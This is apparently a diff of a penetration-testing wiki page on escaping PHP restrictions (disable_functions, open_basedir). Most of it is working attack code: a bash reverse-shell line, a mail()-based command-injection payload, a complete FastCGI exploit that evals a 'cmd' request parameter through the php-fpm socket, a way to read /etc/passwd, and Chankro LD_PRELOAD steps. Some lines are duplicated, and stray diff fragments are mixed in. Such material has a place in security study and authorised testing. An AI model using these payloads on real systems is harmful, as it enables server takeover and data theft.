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@ -58,8 +58,6 @@ pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);
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file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777); mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');
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```
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**mail** and **putenv** - Chankro tool
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### PHP Code Execution
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Apart from eval there are other ways to execute PHP code: include/require can be used for remote code execution in the form of Local File Include and Remote File Include vulnerabilities.
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|
|
@ -79,28 +77,461 @@ serialize/unserialize**
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## disable\_functions & open\_basedir
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**Disabled functions** is the setting that can be configured in `.ini` files in PHP that will **forbid** the use of the indicated **functions**. **Open basedir** is the setting that indicates to PHP the folder that it can access.
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**Disabled functions** is the setting that can be configured in `.ini` files in PHP that will **forbid** the use of the indicated **functions**. **Open basedir** is the setting that indicates to PHP the folder that it can access.
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The PHP setting sue to be configured in the path _/etc/php7/conf.d_ or similar.
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Both configuration can be seen in the output of **`phpinfo()`**:
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## open\_basedir Bypass
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`open_basedir` will configure the folders that PHP can access, you **won't be able to to write/read/execute any file outside** those folders, but also you **won't even be able to list** other directories.
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However, if somehow you are able to execute arbitrary PHP code you can **try** the following chunk of **codes** to try to **bypass** the restriction.
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### Listing dirs with glob:// bypass
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In this first example the `glob://` protocol with some path bypass is used:
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```php
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<?php
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$file_list = array();
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$it = new DirectoryIterator("glob:///v??/run/*");
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foreach($it as $f) {
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$file_list[] = $f->__toString();
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}
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$it = new DirectoryIterator("glob:///v??/run/.*");
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foreach($it as $f) {
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$file_list[] = $f->__toString();
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}
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sort($file_list);
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foreach($file_list as $f){
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echo "{$f}<br/>";
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}
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```
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**Note1**: In the path you can also use `/e??/*` to list `/etc/*` and any other folder.
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**Note2**: It looks like part of the code is duplicated, but that's actually necessary!
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**Note3**: This example is only useful to list folders not to read files
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### Full open\_basedir bypass abusing FastCGI
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If **`php-fpm`** is configured you can abuse it to completely bypass **open\_basedir**:
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### Bypassing
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A way to **bypass the common disabled functions** is using [https://github.com/TarlogicSecurity/Chankro](https://github.com/TarlogicSecurity/Chankro)
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that bypass them using the php functionns _**mail\(\)**_ and _**putenv\(\)**._
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Note that the first thing you need to do is find where is the **unix socket of php-fpm**. It use to be under `/var/run` so you can **use the previous code to list the directory and find it**.
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Code from [here](https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#wallbreaker-easy).
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### Use PHP capabilities
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```php
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<?php
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/**
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* Note : Code is released under the GNU LGPL
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*
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* Please do not change the header of this file
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*
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* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
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* Lesser General Public License as published by the Free Software Foundation; either version 2 of
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* the License, or (at your option) any later version.
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*
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* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
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* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
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*
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* See the GNU Lesser General Public License for more details.
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*/
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/**
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* Handles communication with a FastCGI application
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*
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* @author Pierrick Charron <pierrick@webstart.fr>
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* @version 1.0
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*/
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class FCGIClient
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{
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const VERSION_1 = 1;
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const BEGIN_REQUEST = 1;
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const ABORT_REQUEST = 2;
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const END_REQUEST = 3;
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const PARAMS = 4;
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const STDIN = 5;
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const STDOUT = 6;
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const STDERR = 7;
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const DATA = 8;
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const GET_VALUES = 9;
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const GET_VALUES_RESULT = 10;
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const UNKNOWN_TYPE = 11;
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const MAXTYPE = self::UNKNOWN_TYPE;
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const RESPONDER = 1;
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const AUTHORIZER = 2;
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const FILTER = 3;
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const REQUEST_COMPLETE = 0;
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const CANT_MPX_CONN = 1;
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const OVERLOADED = 2;
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const UNKNOWN_ROLE = 3;
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const MAX_CONNS = 'MAX_CONNS';
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const MAX_REQS = 'MAX_REQS';
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const MPXS_CONNS = 'MPXS_CONNS';
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const HEADER_LEN = 8;
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/**
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* Socket
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* @var Resource
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*/
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private $_sock = null;
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/**
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* Host
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* @var String
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*/
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private $_host = null;
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/**
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* Port
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* @var Integer
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*/
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private $_port = null;
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/**
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* Keep Alive
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* @var Boolean
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*/
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private $_keepAlive = false;
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/**
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* Constructor
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*
|
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* @param String $host Host of the FastCGI application
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* @param Integer $port Port of the FastCGI application
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*/
|
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public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
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{
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$this->_host = $host;
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$this->_port = $port;
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}
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/**
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* Define whether or not the FastCGI application should keep the connection
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* alive at the end of a request
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*
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* @param Boolean $b true if the connection should stay alive, false otherwise
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*/
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public function setKeepAlive($b)
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{
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$this->_keepAlive = (boolean)$b;
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if (!$this->_keepAlive && $this->_sock) {
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fclose($this->_sock);
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}
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}
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/**
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* Get the keep alive status
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*
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* @return Boolean true if the connection should stay alive, false otherwise
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*/
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public function getKeepAlive()
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{
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return $this->_keepAlive;
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}
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/**
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* Create a connection to the FastCGI application
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*/
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private function connect()
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{
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if (!$this->_sock) {
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//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
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$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
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if (!$this->_sock) {
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throw new Exception('Unable to connect to FastCGI application');
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}
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}
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}
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/**
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* Build a FastCGI packet
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*
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* @param Integer $type Type of the packet
|
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* @param String $content Content of the packet
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* @param Integer $requestId RequestId
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*/
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private function buildPacket($type, $content, $requestId = 1)
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{
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$clen = strlen($content);
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return chr(self::VERSION_1) /* version */
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. chr($type) /* type */
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. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
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. chr($requestId & 0xFF) /* requestIdB0 */
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. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
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. chr($clen & 0xFF) /* contentLengthB0 */
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. chr(0) /* paddingLength */
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. chr(0) /* reserved */
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. $content; /* content */
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}
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/**
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* Build an FastCGI Name value pair
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*
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* @param String $name Name
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* @param String $value Value
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* @return String FastCGI Name value pair
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*/
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private function buildNvpair($name, $value)
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{
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$nlen = strlen($name);
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$vlen = strlen($value);
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if ($nlen < 128) {
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/* nameLengthB0 */
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$nvpair = chr($nlen);
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} else {
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/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
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$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
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}
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if ($vlen < 128) {
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/* valueLengthB0 */
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$nvpair .= chr($vlen);
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} else {
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/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
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$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
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}
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/* nameData & valueData */
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return $nvpair . $name . $value;
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}
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/**
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* Read a set of FastCGI Name value pairs
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*
|
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* @param String $data Data containing the set of FastCGI NVPair
|
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* @return array of NVPair
|
||||
*/
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private function readNvpair($data, $length = null)
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{
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$array = array();
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if ($length === null) {
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$length = strlen($data);
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}
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$p = 0;
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while ($p != $length) {
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$nlen = ord($data{$p++});
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if ($nlen >= 128) {
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$nlen = ($nlen & 0x7F << 24);
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$nlen |= (ord($data{$p++}) << 16);
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$nlen |= (ord($data{$p++}) << 8);
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$nlen |= (ord($data{$p++}));
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}
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$vlen = ord($data{$p++});
|
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if ($vlen >= 128) {
|
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$vlen = ($nlen & 0x7F << 24);
|
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$vlen |= (ord($data{$p++}) << 16);
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$vlen |= (ord($data{$p++}) << 8);
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$vlen |= (ord($data{$p++}));
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}
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$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
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$p += ($nlen + $vlen);
|
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}
|
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return $array;
|
||||
}
|
||||
/**
|
||||
* Decode a FastCGI Packet
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||||
*
|
||||
* @param String $data String containing all the packet
|
||||
* @return array
|
||||
*/
|
||||
private function decodePacketHeader($data)
|
||||
{
|
||||
$ret = array();
|
||||
$ret['version'] = ord($data{0});
|
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$ret['type'] = ord($data{1});
|
||||
$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
|
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$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
|
||||
$ret['paddingLength'] = ord($data{6});
|
||||
$ret['reserved'] = ord($data{7});
|
||||
return $ret;
|
||||
}
|
||||
/**
|
||||
* Read a FastCGI Packet
|
||||
*
|
||||
* @return array
|
||||
*/
|
||||
private function readPacket()
|
||||
{
|
||||
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
|
||||
$resp = $this->decodePacketHeader($packet);
|
||||
$resp['content'] = '';
|
||||
if ($resp['contentLength']) {
|
||||
$len = $resp['contentLength'];
|
||||
while ($len && $buf=fread($this->_sock, $len)) {
|
||||
$len -= strlen($buf);
|
||||
$resp['content'] .= $buf;
|
||||
}
|
||||
}
|
||||
if ($resp['paddingLength']) {
|
||||
$buf=fread($this->_sock, $resp['paddingLength']);
|
||||
}
|
||||
return $resp;
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
/**
|
||||
* Get Informations on the FastCGI application
|
||||
*
|
||||
* @param array $requestedInfo information to retrieve
|
||||
* @return array
|
||||
*/
|
||||
public function getValues(array $requestedInfo)
|
||||
{
|
||||
$this->connect();
|
||||
$request = '';
|
||||
foreach ($requestedInfo as $info) {
|
||||
$request .= $this->buildNvpair($info, '');
|
||||
}
|
||||
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
|
||||
$resp = $this->readPacket();
|
||||
if ($resp['type'] == self::GET_VALUES_RESULT) {
|
||||
return $this->readNvpair($resp['content'], $resp['length']);
|
||||
} else {
|
||||
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
|
||||
}
|
||||
}
|
||||
/**
|
||||
* Execute a request to the FastCGI application
|
||||
*
|
||||
* @param array $params Array of parameters
|
||||
* @param String $stdin Content
|
||||
* @return String
|
||||
*/
|
||||
public function request(array $params, $stdin)
|
||||
{
|
||||
$response = '';
|
||||
$this->connect();
|
||||
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
|
||||
$paramsRequest = '';
|
||||
foreach ($params as $key => $value) {
|
||||
$paramsRequest .= $this->buildNvpair($key, $value);
|
||||
}
|
||||
if ($paramsRequest) {
|
||||
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
|
||||
}
|
||||
$request .= $this->buildPacket(self::PARAMS, '');
|
||||
if ($stdin) {
|
||||
$request .= $this->buildPacket(self::STDIN, $stdin);
|
||||
}
|
||||
$request .= $this->buildPacket(self::STDIN, '');
|
||||
fwrite($this->_sock, $request);
|
||||
do {
|
||||
$resp = $this->readPacket();
|
||||
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
|
||||
$response .= $resp['content'];
|
||||
}
|
||||
} while ($resp && $resp['type'] != self::END_REQUEST);
|
||||
var_dump($resp);
|
||||
if (!is_array($resp)) {
|
||||
throw new Exception('Bad request');
|
||||
}
|
||||
switch (ord($resp['content']{4})) {
|
||||
case self::CANT_MPX_CONN:
|
||||
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
|
||||
break;
|
||||
case self::OVERLOADED:
|
||||
throw new Exception('New request rejected; too busy [OVERLOADED]');
|
||||
break;
|
||||
case self::UNKNOWN_ROLE:
|
||||
throw new Exception('Role value not known [UNKNOWN_ROLE]');
|
||||
break;
|
||||
case self::REQUEST_COMPLETE:
|
||||
return $response;
|
||||
}
|
||||
}
|
||||
}
|
||||
?>
|
||||
<?php
|
||||
// real exploit start here
|
||||
if (!isset($_REQUEST['cmd'])) {
|
||||
die("Check your input\n");
|
||||
}
|
||||
if (!isset($_REQUEST['filepath'])) {
|
||||
$filepath = __FILE__;
|
||||
}else{
|
||||
$filepath = $_REQUEST['filepath'];
|
||||
}
|
||||
$req = '/'.basename($filepath);
|
||||
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
|
||||
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
|
||||
$code = "<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything
|
||||
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
|
||||
//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
|
||||
$params = array(
|
||||
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
|
||||
'REQUEST_METHOD' => 'POST',
|
||||
'SCRIPT_FILENAME' => $filepath,
|
||||
'SCRIPT_NAME' => $req,
|
||||
'QUERY_STRING' => 'command='.$_REQUEST['cmd'],
|
||||
'REQUEST_URI' => $uri,
|
||||
'DOCUMENT_URI' => $req,
|
||||
#'DOCUMENT_ROOT' => '/',
|
||||
'PHP_VALUE' => $php_value,
|
||||
'SERVER_SOFTWARE' => '80sec/wofeiwo',
|
||||
'REMOTE_ADDR' => '127.0.0.1',
|
||||
'REMOTE_PORT' => '9985',
|
||||
'SERVER_ADDR' => '127.0.0.1',
|
||||
'SERVER_PORT' => '80',
|
||||
'SERVER_NAME' => 'localhost',
|
||||
'SERVER_PROTOCOL' => 'HTTP/1.1',
|
||||
'CONTENT_LENGTH' => strlen($code)
|
||||
);
|
||||
// print_r($_REQUEST);
|
||||
// print_r($params);
|
||||
//echo "Call: $uri\n\n";
|
||||
echo $client->request($params, $code)."\n";
|
||||
?>
|
||||
```
|
||||
|
||||
This scripts will communicate with **unix socket of php-fpm** \(usually located in /var/run if fpm is used\) to execute arbitrary code. The `open_basedir` settings will be overwritten by the **PHP\_VALUE** attribute that is sent.
|
||||
Note how `eval` is used to execute the PHP code you send inside the **cmd** parameter.
|
||||
Also note the **commented line 324**, you can uncomment it and the **payload will automatically connect to the given URL and execute the PHP code** contained there.
|
||||
Just access `http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');` to get the content of the `/etc/passwd` file.
|
||||
|
||||
{% hint style="warning" %}
|
||||
You may be thinking that just in the same way we have overwritten `open_basedir` configuration we can **overwrite `disable_functions`**. Well, try it, but it won't work, apparently **`disable_functions` can only be configured in a `.ini` php** configuration file and the changes you perform using PHP\_VALUE won't be effective on this specific setting.
|
||||
{% endhint %}
|
||||
|
||||
## disable\_functions Bypass
|
||||
|
||||
If you manage have PHP code executing inside a machine you probably want to go to the next level and **execute arbitrary system commands**. In this situation is usually to discover that most or all the PHP **functions** that allow to **execute system commands have been disabled** in **`disable_functions`.**
|
||||
So, lets see how you can bypass this restriction \(if you can\)
|
||||
|
||||
### Bypassing using other system functions
|
||||
|
||||
Just return to the begging of this page and **check if any of the command executing functions isn't disabled**. If you find just 1 of them, you will be able to use it to execute arbitrary system commands.
|
||||
|
||||
### Bypass using Chankro
|
||||
|
||||
It's well known that some functions in PHP like `mail()`are going to **execute binaries inside the system**. Therefore, you can abuse them using the environment variable `LD_PRELOAD` to make them load an arbitrary library that can execute anything.
|
||||
|
||||
In order to abuse this misconfiguration you can [**Chankro**](https://github.com/TarlogicSecurity/Chankro). This is a tool that will **generate a PHP exploit** that you need to upload to the vulnerable server and execute it \(access it via web\).
|
||||
**Chankro** will write inside the victims disc the **library and the reverse shell** you want to execute and will use the**`LD_PRELOAD` trick + PHP `mail()`** function to execute the reverse shell.
|
||||
|
||||
Note that in order to use **Chankro**, `mail` and `putenv` **cannot appear inside the `disable_functions` list**.
|
||||
In the following example you can see how to **create a chankro exploit** for **arch 64**, that will execute `whoami` and save the out in _/tmp/chankro\_shell.out_, chankro will **write the library and the payload** in _/tmp_ and the **final exploit** is going to be called **bicho.php** \(that's the file you need to upload to the victims server\):
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="shell.sh" %}
|
||||
```php
|
||||
#!/bin/sh
|
||||
whoami > /tmp/chankro_shell.out
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Chankro" %}
|
||||
```bash
|
||||
python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
More information about this technique and Chankro here: [https://www.tarlogic.com/en/blog/how-to-bypass-disable\_functions-and-open\_basedir/](https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/)
|
||||
|
||||
### "Bypass" using PHP capabilities
|
||||
|
||||
Note that using **PHP** you can **read and write files, create directories and change permissions**.
|
||||
You can even **dump databases**.
|
||||
Maybe using **PHP** to **enumerate** the box you can find a way to escalate privileges/execute commands.
|
||||
Maybe using **PHP** to **enumerate** the box you can find a way to escalate privileges/execute commands \(for example reading some private ssh key\).
|
||||
|
||||
I have created a webshell that makes very easy to perform this actions \(note that most webshells will offer you this options also\): [https://github.com/carlospolop/phpwebshelllimited](https://github.com/carlospolop/phpwebshelllimited)
|
||||
|
||||
I have created a webshell that makes very easy to perform this actions: [https://github.com/carlospolop/phpwebshelllimited](https://github.com/carlospolop/phpwebshelllimited)
|
||||
|
||||
##
|
||||
|
||||
## Other Interesting PHP functions
|
||||
|
||||
|
|
|
|||
Loading…
Reference in a new issue